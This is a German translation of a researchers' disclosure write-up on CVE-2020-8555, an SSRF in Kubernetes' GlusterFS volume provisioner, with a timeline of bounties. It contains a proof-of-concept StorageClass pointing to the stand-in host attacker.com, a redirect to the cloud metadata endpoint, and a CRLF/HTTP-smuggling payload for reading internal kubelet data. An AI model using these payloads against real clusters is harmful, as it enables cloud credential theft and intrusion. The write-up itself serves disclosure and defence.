{"id":86623,"date":"2020-06-27T19:42:40","date_gmt":"2020-06-27T17:42:40","guid":{"rendered":"https:\/\/prohoster.info\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes"},"modified":"2020-06-27T19:42:40","modified_gmt":"2020-06-27T17:42:40","slug":"kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","status":"publish","type":"post","link":"https:\/\/prohoster.info\/de\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","title":{"rendered":"Wenn es nicht nur um die Sicherheitsanf\u00e4lligkeit in Kubernetes geht...","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p><i><b>Anmerkung des \u00dcbersetzers.<\/b>: Die Autoren dieses Artikels berichten ausf\u00fchrlich dar\u00fcber, wie es ihnen gelungen ist, eine Sicherheitsanf\u00e4lligkeit zu entdecken <noindex><a rel=\"nofollow\" href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex> in Kubernetes. Obwohl sie anfangs nicht sehr gef\u00e4hrlich schien, stellte sich ihre Kritikalit\u00e4t in Kombination mit anderen Faktoren bei einigen Cloud-Anbietern als maximal heraus. Die durchgef\u00fchrten Arbeiten der Spezialisten wurden gro\u00dfz\u00fcgig von mehreren Organisationen belohnt.<\/i><\/p>\n<p><img decoding=\"async\" alt=\"Wenn es nicht nur um die Sicherheitsanf\u00e4lligkeit in Kubernetes geht...\" src=\"\/wp-content\/uploads\/2020\/06\/95f376b0e06a5454be2423bdab37f2ce.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<\/p>\n<h2>Wer wir sind<\/h2>\n<p>\nWir sind zwei franz\u00f6sische Sicherheitsforscher, die gemeinsam eine Sicherheitsanf\u00e4lligkeit in Kubernetes entdeckt haben. Wir hei\u00dfen Brice Augras und Christophe Hauquiert, aber auf vielen Bug-Bounty-Plattformen sind wir als Reeverzax und Hach bekannt:<\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/reeverzax\">Brice Augras<\/a><\/noindex> \u2014 <noindex><a rel=\"nofollow\" href=\"https:\/\/www.groupe-asten.fr\/\">Groupe Asten Company<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/hach\">Christophe Hauquiert<\/a><\/noindex> \u2014 Kubernetes-Architekt bei Nokia.<\/li>\n<\/ul>\n<p><noindex><a rel=\"nofollow\" name=\"habracut\"><\/a><\/noindex><\/p>\n<h2>Was ist passiert?<\/h2>\n<p>\nDieser Artikel ist unsere M\u00f6glichkeit, dar\u00fcber zu berichten, wie ein gew\u00f6hnliches Forschungsprojekt unerwartet zu dem aufregendsten Abenteuer im Leben von Bug-J\u00e4gern wurde (zumindest bisher).<\/p>\n<p>Wie Sie wahrscheinlich wissen, haben Bug-J\u00e4ger einige bemerkenswerte Eigenschaften:<\/p>\n<ul>\n<li> Sie leben von Pizza und Bier;<\/li>\n<li> Sie arbeiten dann, wenn alle anderen schlafen.<\/li>\n<\/ul>\n<p>\nWir sind keine Ausnahme von dieser Regel: Wir treffen uns normalerweise am Wochenende und verbringen schlaflose Hacker-N\u00e4chte. Aber eine solche Nacht endete auf ganz ungewohnte Weise.<\/p>\n<p>Anfangs wollten wir uns treffen, um die Teilnahme an <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Capture_the_flag#Computer_security\">CTF<\/a><\/noindex> am n\u00e4chsten Tag zu besprechen. W\u00e4hrend des Gespr\u00e4chs \u00fcber die Sicherheit von Kubernetes in einer verwalteten Serviceumgebung erinnerte ich mich an eine alte Idee zur SSRF (<noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Server-side_request_forgery\">Server-Side Request Forgery<\/a><\/noindex>) und beschlossen, sie als Angriffszenario zu verwenden.<\/p>\n<p>Um 11 Uhr abends begannen wir mit den Recherchen und gingen fr\u00fch am Morgen schlafen, ziemlich zufrieden mit den Ergebnissen. Wegen dieser Recherchen stie\u00dfen wir auf das MSRC Bug Bounty-Programm und entwickelten einen Exploit zur Privilegieneskalation.<\/p>\n<p>Einige Wochen\/Monate sp\u00e4ter erm\u00f6glichte uns unser unerwartetes Ergebnis, eine der h\u00f6chsten Belohnungen in der Geschichte des Azure Cloud Bug Bounty zu erhalten \u2014 zus\u00e4tzlich zu der, die wir von Kubernetes erhalten haben!<\/p>\n<p>In Anlehnung an unser Forschungsprojekt ver\u00f6ffentlichte das Kubernetes Product Security Committee <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex>.<\/p>\n<p>Jetzt m\u00f6chten wir die Informationen \u00fcber die gefundene Sicherheitsanf\u00e4lligkeit so weit wie m\u00f6glich verbreiten. Wir hoffen, dass Sie unsere Entdeckung sch\u00e4tzen und technische Details mit anderen Mitgliedern der Infosec-Community teilen!<\/p>\n<p>Also, hier ist unsere Geschichte\u2026<\/p>\n<h2>Kontext<\/h2>\n<p>\nUm den Sinn des Geschehenen umfassend zu vermitteln, betrachten wir zun\u00e4chst, wie Kubernetes in einer cloudbasierten verwalteten Umgebung funktioniert.<\/p>\n<p>Wenn Sie eine Kubernetes-Clusterinstanz in einer solchen Umgebung erstellen, ist in der Regel der Cloud-Anbieter f\u00fcr die Funktionalit\u00e4t der Managementebene verantwortlich:<\/p>\n<p><img decoding=\"async\" alt=\"Wenn es nicht nur um die Sicherheitsanf\u00e4lligkeit in Kubernetes geht...\" src=\"\/wp-content\/uploads\/2020\/06\/c562ba625208180d495068ec46055a07.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Die Managementebene befindet sich im Perimeter des Cloud-Anbieters, w\u00e4hrend die Kubernetes-Knoten im Perimeter des Kunden angesiedelt sind.<\/i><\/p>\n<p>F\u00fcr die dynamische Zuweisung von Volumes wird der Mechanismus zur dynamischen Bereitstellung aus einer externen Storage-Backend verwendet, der mit PVC (Persistent Volume Claim) verkn\u00fcpft wird.<\/p>\n<p>Nachdem das PVC erstellt und an die StorageClass im K8s-Cluster gebunden wurde, \u00fcbernimmt der kube\/cloud controller manager (sein genauer Name h\u00e4ngt von der Version ab) die weiteren Schritte zur Bereitstellung des Volumes. <i>(<b>Anmerkung des \u00dcbersetzers.<\/b>: Wir haben bereits ausf\u00fchrlich \u00fcber CCM anhand seiner Implementierung f\u00fcr einen der Cloud-Anbieter berichtet. <noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/490356\/\">hier<\/a><\/noindex>.)<\/i><\/p>\n<p>Es gibt mehrere Arten von Provisionern, die von Kubernetes unterst\u00fctzt werden: die meisten davon sind in <noindex><a rel=\"nofollow\" href=\"https:\/\/kubernetes.io\/docs\/concepts\/storage\/storage-classes\/#provisioner\">Kern des Orchestrators<\/a><\/noindex>, w\u00e4hrend andere von zus\u00e4tzlichen Provisionern verwaltet werden, die in Pods im Cluster bereitgestellt werden.<\/p>\n<p>In unserer Untersuchung konzentrierten wir uns auf den internen Mechanismus zur Bereitstellung von Volumes, der unten veranschaulicht wird:<\/p>\n<p><img decoding=\"async\" alt=\"Wenn es nicht nur um die Sicherheitsanf\u00e4lligkeit in Kubernetes geht...\" src=\"\/wp-content\/uploads\/2020\/06\/3056d943a6f41ebc71fe9e7852bf4530.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Dynamische Bereitstellung von Volumes unter Verwendung des integrierten Provisioners von Kubernetes.<\/i><\/p>\n<p>Kurz gesagt, wenn Kubernetes in einer verwalteten Umgebung bereitgestellt wird, k\u00fcmmert sich der Cloud-Anbieter um die Funktionsweise des Controller Managers, w\u00e4hrend die Anfrage zur Erstellung des Volumes (Nummer 3 im obigen Diagramm) das interne Netzwerk des Cloud-Anbieters verl\u00e4sst. Und hier wird die Situation wirklich interessant!<\/p>\n<h2>Szenario eines Angriffs<\/h2>\n<p>\nIn diesem Abschnitt werden wir erl\u00e4utern, wie wir den oben genannten Workflow genutzt haben, um Zugriff auf interne Ressourcen des Cloud-Anbieters zu erhalten. Au\u00dferdem wird gezeigt, wie bestimmte Aktionen ausgef\u00fchrt werden k\u00f6nnen - z. B. wie man interne Anmeldeinformationen erh\u00e4lt oder Privilegien eskaliert.<\/p>\n<p>Eine einfache Manipulation (in diesem Fall handelt es sich um eine Service Side Request Forgery) hat dazu beigetragen, die Grenzen der Kundenumgebung in Clustern verschiedener verwalteter K8s-Anbieter zu \u00fcberschreiten.<\/p>\n<p>In unseren Untersuchungen konzentrierten wir uns auf den Provisioner GlusterFS. Obwohl die weiteren Schritte in diesem Kontext beschrieben sind, sind auch Quobyte, StorageOS und ScaleIO von dieser Schwachstelle betroffen.<\/p>\n<p><img decoding=\"async\" alt=\"Wenn es nicht nur um die Sicherheitsanf\u00e4lligkeit in Kubernetes geht...\" src=\"\/wp-content\/uploads\/2020\/06\/f604aa1880c0edd5efe52a3362d6929d.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Missbrauch des Mechanismus zur dynamischen Bereitstellung von Volumes<\/i><\/p>\n<p>W\u00e4hrend der Analyse der Speicherklassen <b>GlusterFS<\/b> in den Quellcodes des Clients in Golang haben wir <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">wurde festgestellt<\/a><\/noindex>, dass bei der ersten HTTP-Anfrage (3), die w\u00e4hrend der Erstellung eines Volumes gesendet wurde, am Ende der Benutzer-URL im Parameter <code>resturl<\/code> begann, <code>\/volumes<\/code>.<\/p>\n<p>Um diesen zus\u00e4tzlichen Pfad zu vermeiden, haben wir entschieden, dies durch Hinzuf\u00fcgen von <code>#<\/code> -CommandName <code>resturl<\/code>. Hier ist die erste YAML-Konfiguration, die wir verwendet haben, um auf die \"semi-blinde\" SSRF-Schwachstelle zu testen <i>(mehr \u00fcber semi-blind oder half-blind SSRF kann man zum Beispiel lesen, <noindex><a rel=\"nofollow\" href=\"https:\/\/blog.securityinnovation.com\/the-many-faces-of-ssrf\">hier<\/a><\/noindex> \u2014 Anm. d. \u00dcbersetzer)<\/i>:<\/p>\n<pre><code class=\"plaintext\">apiVersion: storage.k8s.io\/v1\nkind: StorageClass\nmetadata:\n  name: poc-ssrf\nprovisioner: kubernetes.io\/glusterfs\nparameters:\n  resturl: \"http:\/\/attacker.com:6666\/#\"\n---\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n  name: poc-ssrf\nspec:\n  accessModes:\n  - ReadWriteOnce\n  volumeMode: Filesystem\n  resources:\n    requests:\n      storage: 8Gi\n  storageClassName: poc-ssrf<\/code><\/pre>\n<p>\nDann haben wir das Bin\u00e4rprogramm verwendet, um den Kubernetes-Cluster remote zu verwalten <b>kubectl<\/b>. In der Regel erm\u00f6glichen Cloud-Anbieter (Azure, Google, AWS usw.) den Zugriff auf Anmeldeinformationen zur Verwendung in diesem Tool.<\/p>\n<p>Dank dessen konnten wir unsere \"besondere\" Datei anwenden. Der Kube-controller-manager f\u00fchrte die resultierende HTTP-Anfrage aus:<\/p>\n<pre><code class=\"bash\">kubectl create -f sc-poc.yaml<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Wenn es nicht nur um die Sicherheitsanf\u00e4lligkeit in Kubernetes geht...\" src=\"\/wp-content\/uploads\/2020\/06\/c520fcff82519a1f7bb3fd2bdc6b79e0.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Die Antwort aus Sicht des Angreifers<\/i><\/p>\n<p>Kurz darauf konnten wir auch die HTTP-Antwort vom Zielserver erhalten - \u00fcber die Befehle <code>describe pvc<\/code> oder <code>get events<\/code> in kubectl. Und tats\u00e4chlich: dieser Kubernetes-Treiber ist standardm\u00e4\u00dfig zu gespr\u00e4chig in seinen Warnungen\/Fehlermeldungen...<\/p>\n<p>Hier ist ein Beispiel mit einem Link zu <code>https:\/\/www.google.fr<\/code>, der als Parameter festgelegt wurde <code>resturl<\/code>:<\/p>\n<pre><code class=\"bash\">kubectl describe pvc poc-ssrf\n# oder Sie k\u00f6nnen kubectl get events verwenden<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Wenn es nicht nur um die Sicherheitsanf\u00e4lligkeit in Kubernetes geht...\" src=\"\/wp-content\/uploads\/2020\/06\/1b859d606de4bd6ed8114024f84e4799.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nIm Rahmen dieses Ansatzes waren wir auf Anfragen des Typs beschr\u00e4nkt <b>HTTP POST<\/b> und konnten den Inhalt des Antwortk\u00f6rpers nicht erhalten, wenn der zur\u00fcckgegebene Code war <b>201<\/b>. Daher beschlossen wir, weitere Recherchen durchzuf\u00fchren und dieses Exploit-Szenario mit neuen Ans\u00e4tzen zu erweitern.<\/p>\n<h2>Die Evolution unserer Forschungen<\/h2>\n<p><\/p>\n<ul>\n<li> Fortgeschrittenes Szenario Nr. 1: Verwendung einer 302-Weiterleitung von einem externen Server, um die HTTP-Methode zu \u00e4ndern, um einen flexibleren Weg zur Sammlung interner Daten zu erhalten.<\/li>\n<li> Fortgeschrittenes Szenario Nr. 2: Automatisierung der LAN-Scans und Entdeckung interner Ressourcen.<\/li>\n<li> Fortgeschrittenes Szenario Nr. 3: Verwendung von HTTP CRLF + Smuggling (\u201eSchmuggel\u201c von Anfragen), um angepasste HTTP-Anfragen zu erstellen und Daten aus den Protokollen des kube-controllers zu extrahieren.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Technische Spezifikationen<\/h3>\n<p><\/p>\n<ul>\n<li> In den Untersuchungen wurde der Azure Kubernetes Service (AKS) mit Kubernetes Version 1.12 in der Region Nord-Europa verwendet.<\/li>\n<li> Die oben beschriebenen Szenarien wurden auf den neuesten Versionen von Kubernetes ausgef\u00fchrt, mit Ausnahme des dritten Szenarios, da dies Kubernetes erforderte, das mit Golang Version \u2264 1.12 erstellt wurde.<\/li>\n<li> Der externe Server des Angreifers \u2014 <code>https:\/\/attacker.com<\/code>.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Fortgeschrittener Szenario Nr. 1: Umleitung einer HTTP-POST-Anfrage zu GET und Abruf vertraulicher Daten<\/h3>\n<p>\nDie urspr\u00fcngliche Methode wurde durch die Konfiguration des Angreiferservers zur R\u00fcckgabe <b>302 HTTP R\u00fcckkode<\/b>, um die POST-Anfrage in eine GET-Anfrage zu konvertieren (Schritt 4 im Diagramm):<\/p>\n<p><img decoding=\"async\" alt=\"Wenn es nicht nur um die Sicherheitsanf\u00e4lligkeit in Kubernetes geht...\" src=\"\/wp-content\/uploads\/2020\/06\/2b8d0a7dfdc2df8e674acfc82a4cd070.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nDie erste Anfrage (3), die vom Client ausgeht <b>GlusterFS<\/b> (Controller-Manager), hat den Typ POST. Durch Ausf\u00fchrung der folgenden Schritte konnten wir sie in GET umwandeln:<\/p>\n<ul>\n<li> Als Parameter <code>resturl<\/code> wird im StorageClass angegeben <code>http:\/\/attacker.com\/redirect.php<\/code>.<\/li>\n<li> Der Endpunkt <code>https:\/\/attacker.com\/redirect.php<\/code> antwortet mit dem HTTP-Statuscode 302 und dem folgenden Location-Header: <code>http:\/\/169.254.169.254<\/code>. Es kann sich um eine beliebige andere interne Ressource handeln \u2014 in diesem Fall wird der Umleitungslink ausschlie\u00dflich als Beispiel verwendet.<\/li>\n<li> Standardm\u00e4\u00dfig <b>Bibliothek net\/http<\/b> Golang leitet die Anfrage weiter und konvertiert POST in GET mit dem Statuscode 302, sodass eine HTTP-GET-Anfrage an die Zielressource gesendet wird.<\/li>\n<\/ul>\n<p>\nUm den K\u00f6rper der HTTP-Antwort zu lesen, muss man <code>describe<\/code> PVC-Objekt:<\/p>\n<pre><code class=\"bash\">kubectl beschreiben pvc xxx<\/code><\/pre>\n<p>\nHier ist ein Beispiel f\u00fcr eine HTTP-Antwort im JSON-Format, die wir erhalten konnten:<\/p>\n<p><img decoding=\"async\" alt=\"Wenn es nicht nur um die Sicherheitsanf\u00e4lligkeit in Kubernetes geht...\" src=\"\/wp-content\/uploads\/2020\/06\/d2f76aec3ac9d31c99426551d77fc969.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nDie M\u00f6glichkeiten der zu diesem Zeitpunkt gefundenen Schwachstelle waren aufgrund der folgenden Punkte eingeschr\u00e4nkt:<\/p>\n<ul>\n<li> Unf\u00e4higkeit, HTTP-Header in die ausgehende Anfrage einzuf\u00fcgen.<\/li>\n<li> Unf\u00e4higkeit, eine POST-Anfrage mit Parametern im K\u00f6rper auszuf\u00fchren (so bequem ist es, den Wert eines Schl\u00fcssels von einer etcd-Instanz, die auf <b>2379<\/b> dem Port l\u00e4uft, abzurufen, wenn unverschl\u00fcsseltes HTTP verwendet wird).<\/li>\n<li> Unf\u00e4higkeit, den Inhalt des Antwortk\u00f6rpers abzurufen, als der Statuscode 200 war und die Antwort keinen JSON Content-Type hatte.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Fortgeschrittener Szenario Nr. 2: Scannen des lokalen Netzwerks<\/h3>\n<p>\nDiese Methode der halb-blinden SSRF wurde dann verwendet, um das interne Netzwerk des Cloud-Anbieters zu scannen und verschiedene lauschernde Dienste (Metadateninstanz, Kubelet, etcd usw.) basierend auf den Antworten zu befragen. <b>kube controller<\/b>.<\/p>\n<p><img decoding=\"async\" alt=\"Wenn es nicht nur um die Sicherheitsanf\u00e4lligkeit in Kubernetes geht...\" src=\"\/wp-content\/uploads\/2020\/06\/08b681f9a673e335a1955b08b0bddc9a.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nZun\u00e4chst wurden die Standardlauscherportnummern der Kubernetes-Komponenten (8443, 10250, 10251 usw.) ermittelt und dann musste der Scannvorgang automatisiert werden.<\/p>\n<p>Da wir sahen, dass diese Art der Ressourcenscanung sehr spezifisch ist und nicht mit klassischen Scannern und SSRF-Tools kompatibel ist, beschlossen wir, eigene Worker in einem Bash-Skript zu erstellen, die den gesamten Prozess automatisieren.<\/p>\n<p>Um den IP-Bereich 172.16.0.0\/12 des internen Netzwerks schneller zu scannen, wurden parallel 15 Worker gestartet. Der oben genannte IP-Bereich wurde ausschlie\u00dflich als Beispiel gew\u00e4hlt und kann auf den IP-Bereich eines bestimmten Dienstanbieters ge\u00e4ndert werden.<\/p>\n<p>Um eine IP-Adresse und einen Port zu scannen, m\u00fcssen Sie Folgendes tun:<\/p>\n<ul>\n<li> die zuletzt \u00fcberpr\u00fcfte StorageClass l\u00f6schen;<\/li>\n<li> den zuvor \u00fcberpr\u00fcften Persistent Volume Claim l\u00f6schen;<\/li>\n<li> die Werte f\u00fcr IP und Port in <code>sc.yaml<\/code>;<\/li>\n<li> eine StorageClass mit neuer IP und Port erstellen;<\/li>\n<li> ein neues PVC erstellen;<\/li>\n<li> die Ergebnisse des Scans mit describe f\u00fcr PVC extrahieren.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Fortgeschrittenes Szenario Nr. 3: CRLF-Injection + HTTP-Smuggling in \"alten\" Versionen des Kubernetes-Clusters<\/h3>\n<p>\nWenn der Anbieter den Kunden zus\u00e4tzlich alte Versionen des K8s-Clusters anbot <b>und<\/b> und ihnen Zugriff auf die Logs des kube-controller-managers gew\u00e4hrte, wurde der Effekt noch deutlicher.<\/p>\n<p>F\u00fcr den Angreifer ist es deutlich einfacher, die HTTP-Anfragen nach Belieben zu \u00e4ndern, die darauf abzielen, die vollst\u00e4ndige HTTP-Antwort zu erhalten.<\/p>\n<p><img decoding=\"async\" alt=\"Wenn es nicht nur um die Sicherheitsanf\u00e4lligkeit in Kubernetes geht...\" src=\"\/wp-content\/uploads\/2020\/06\/226ea08521a7bdf79cff1e550dda8f67.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nF\u00fcr die Umsetzung des letzten Szenarios mussten folgende Bedingungen erf\u00fcllt werden:<\/p>\n<ul>\n<li> Der Benutzer muss Zugriff auf die Logs des kube-controller-managers haben (wie beispielsweise in Azure LogInsights).<\/li>\n<li> Der Kubernetes-Cluster muss eine Golang-Version unter 1.12 verwenden.<\/li>\n<\/ul>\n<p>\nWir haben eine lokale Umgebung bereitgestellt, die den Datenaustausch zwischen dem Go-Client GlusterFS und einem gef\u00e4lschten Zielserver simuliert (wir verzichten vorerst auf die Ver\u00f6ffentlichung eines PoC).<\/p>\n<p>Es wurde festgestellt, <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">eine Schwachstelle<\/a><\/noindex>, die Versionen von Golang unter 1.12 betraf und Hackern erm\u00f6glichte, HTTP-Smuggling-\/CRLF-Angriffe durchzuf\u00fchren.<\/p>\n<p>Durch die Kombination des oben beschriebenen halb-blinden SSRF <b>zusammen<\/b> mit diesem konnten wir Anfragen nach Belieben senden, einschlie\u00dflich der \u00c4nderung von Headern, HTTP-Methode, Parametern und Daten, die dann vom kube-controller-manager verarbeitet wurden.<\/p>\n<p>Hier ist ein Beispiel f\u00fcr einen funktionierenden \"Lockvogel\" im Parameter <code>resturl<\/code> StorageClass, die ein solches Angriffsszenario implementiert:<\/p>\n<pre><code class=\"plaintext\">http:\/\/172.31.X.1:10255\/healthz? HTTP\/1.1rnConnection: keep-\nalivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET \/pods? HTTP\/1.1rnHost: 172.31.X.1:10255rnrn<\/code><\/pre>\n<p>\nIn der Folge wird ein Fehler <b>unsolicited response<\/b>, die in den Protokollen des Controllers aufgezeichnet wird. Dank der standardm\u00e4\u00dfig aktivierten \"Verbosity\" wird dort auch der Inhalt der HTTP-Antwortnachricht gespeichert.<\/p>\n<p><img decoding=\"async\" alt=\"Wenn es nicht nur um die Sicherheitsanf\u00e4lligkeit in Kubernetes geht...\" src=\"\/wp-content\/uploads\/2020\/06\/babd247c620ab19c7b5fc801683c03de.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nDies war unser erfolgreichster \"K\u00f6der\" im Rahmen des Proof of Concept.<\/p>\n<p>Mit diesem Ansatz konnten wir einige der folgenden Angriffe in Clustern verschiedener Anbieter von managed K8s durchf\u00fchren: Privilegieneskalation durch das Erlangen von Anmeldedaten auf den Metadata-Instanzen, DoS des Masters durch (unverschl\u00fcsselte) HTTP-Anfragen an den Master-Exemplaren von etcd usw.<\/p>\n<h2>Folgen<\/h2>\n<p>\nIn der offiziellen Erkl\u00e4rung von Kubernetes zu der von uns entdeckten SSRF-Schwachstelle wurde ihr eine Bewertung zugewiesen. <b>CVSS 6.3\/10<\/b>: CVSS:3.0\/AV:N\/AC:H\/PR:L\/UI:N\/S:C\/C:H\/I:N\/A:N. Betrachtet man nur die Schwachstelle im Zusammenhang mit dem Perimeter von Kubernetes, wird der Integrit\u00e4tsvektor <i>(Integrit\u00e4tsvektor)<\/i> so qualifiziert, dass <b>None<\/b>.<\/p>\n<p>Die Bewertung der m\u00f6glichen Folgen im Kontext einer verwalteten Serviceumgebung (und das war der interessanteste Teil unserer Untersuchung!) veranlasste uns dazu, die Schwachstelle auf die Bewertung <b>Kritisch CVSS10\/10<\/b> f\u00fcr viele Vertriebspartner umzuqualifizieren.<\/p>\n<p>Nachfolgend finden Sie zus\u00e4tzliche Informationen, die helfen, unser Vorgehen bei der Bewertung der m\u00f6glichen Folgen in Cloud-Umgebungen besser zu verstehen:<\/p>\n<h3>Integrit\u00e4t<\/h3>\n<p><\/p>\n<ul>\n<li> Remote-Code-Ausf\u00fchrung mit den erhaltenen internen Anmeldedaten.<\/li>\n<li> Wiedergabe des oben beschriebenen Szenarios mittels IDOR (Insecure Direct Object Reference, d.h. unsichere direkte Objektverweise) mit anderen Ressourcen, die im lokalen Netzwerk entdeckt wurden.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Vertraulichkeit<\/h3>\n<p><\/p>\n<ul>\n<li> Ein Angriff vom Typ <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Network_Lateral_Movement\">Lateral Movement<\/a><\/noindex> durch den Diebstahl von Cloud-Anmeldedaten (z.B. Metadata API).<\/li>\n<li> Informationssammlung durch Scannen des lokalen Netzwerks (Ermitteln der SSH-Version, Version des HTTP-Servers usw.).<\/li>\n<li> Informationssammlung \u00fcber Instanzen und Infrastruktur durch Abfragen interner APIs, wie z.B. Metadata API (<code>http:\/\/169.254.169.254<\/code>, \u2026).<\/li>\n<li> Diebstahl von Kundendaten durch Cloud-Anmeldedaten.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Verf\u00fcgbarkeit<\/h3>\n<p>\nAlle Anwendungsszenarien f\u00fcr Exploits, die mit Angriffszielen auf <b>Integrit\u00e4t<\/b>, k\u00f6nnen f\u00fcr destructive Aktionen verwendet werden und dazu f\u00fchren, dass Master-Instanzen aus dem Client-Premium (oder einem anderen) nicht mehr erreichbar sind.<\/p>\n<p>Da wir uns in einer verwalteten K8s-Umgebung befanden und die Auswirkungen auf die Integrit\u00e4t bewerteten, kann man sich viele Szenarien vorstellen, die die Verf\u00fcgbarkeit beeinflussen k\u00f6nnen. Als zus\u00e4tzliche Beispiele nennen wir die Besch\u00e4digung der etcd-Datenbank oder die Durchf\u00fchrung eines kritischen API-Aufrufs zu Kubernetes.<\/p>\n<h2>Chronologie<\/h2>\n<p><\/p>\n<ul>\n<li> 6. Dezember 2019: Meldung einer entdeckten Sicherheitsl\u00fccke an das MSRC Bug Bounty.<\/li>\n<li> 3. Januar 2020: Eine dritte Partei informierte die Entwickler von Kubernetes dar\u00fcber, dass wir an einem Sicherheitsproblem arbeiten. Sie forderten uns auf, SSRF als interne (in-core) Schwachstelle zu betrachten. Danach haben wir einen umfassenden Bericht mit technischen Einzelheiten zur Quelle des Problems vorgelegt.<\/li>\n<li> 15. Januar 2020: Wir haben den Entwicklern von Kubernetes auf deren Anfrage hin technische und allgemeine Berichte zur Verf\u00fcgung gestellt (\u00fcber die Plattform HackerOne).<\/li>\n<li> 15. Januar 2020: Die Entwickler von Kubernetes informierten uns, dass der half-blind SSRF + CRLF-Injection f\u00fcr fr\u00fchere Releases als in-core Schwachstelle betrachtet wird. Wir haben sofort die Analyse der Perimeter anderer Dienstanbieter eingestellt: Die K8s-Teams besch\u00e4ftigten sich nun mit der Ursache.<\/li>\n<li> 15. Januar 2020: Belohnung von MSRC \u00fcber HackerOne erhalten.<\/li>\n<li> 16. Januar 2020: Das Kubernetes PSC (Product Security Committee) best\u00e4tigte die Schwachstelle und bat, sie bis Mitte M\u00e4rz geheim zu halten, aufgrund der vielen m\u00f6glichen Opfer.<\/li>\n<li> 11. Februar 2020: Belohnung von Google VRP erhalten.<\/li>\n<li> 4. M\u00e4rz 2020: Belohnung von Kubernetes \u00fcber HackerOne erhalten.<\/li>\n<li> 15. M\u00e4rz 2020: Die urspr\u00fcnglich geplante \u00f6ffentliche Bekanntgabe wurde aufgrund der COVID-19-Situation verschoben.<\/li>\n<li> 1. Juni 2020: Gemeinsame Erkl\u00e4rung von Kubernetes + Microsoft zur Schwachstelle.<\/li>\n<\/ul>\n<p><\/p>\n<h2>TL;DR<\/h2>\n<p><\/p>\n<ul>\n<li> Wir trinken Bier und essen Pizza \ud83d\ude42<\/li>\n<li> Wir haben eine in-core Sicherheitsl\u00fccke in Kubernetes entdeckt, obwohl wir das eigentlich nicht vorhatten.<\/li>\n<li> Wir haben eine zus\u00e4tzliche Analyse in Clustern verschiedener Cloud-Anbieter durchgef\u00fchrt und konnten den durch die Schwachstelle verursachten Schaden erh\u00f6hen, um zus\u00e4tzliche gro\u00dfartige Boni zu erhalten.<\/li>\n<li> In diesem Artikel finden Sie viele technische Einzelheiten. Wir freuen uns darauf, diese mit Ihnen zu diskutieren (Twitter: <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/reeverzax\">@ReeverZax<\/a><\/noindex> &amp; <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/__hach_\">@__hach_<\/a><\/noindex>).<\/li>\n<li> Es stellte sich heraus, dass alle m\u00f6glichen Formalit\u00e4ten und die Erstellung von Berichten viel mehr Zeit in Anspruch nehmen, als erwartet.<\/li>\n<\/ul>\n<p><\/p>\n<h2>Links<\/h2>\n<p><\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/groups.google.com\/g\/kubernetes-security-announce\">Google-Gruppe kubernetes-security-announce<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020-8555<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">golang Issue #30794<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">heketi\/client\/api\/go-client\/volume.go<\/a><\/noindex>.<\/li>\n<\/ul>\n<p><\/p>\n<h2>P.S. vom \u00dcbersetzer<\/h2>\n<p>\nLesen Sie auch in unserem Blog:<\/p>\n<ul>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/485838\/\">Die Jagd nach Fehlern in Kubernetes ist offiziell 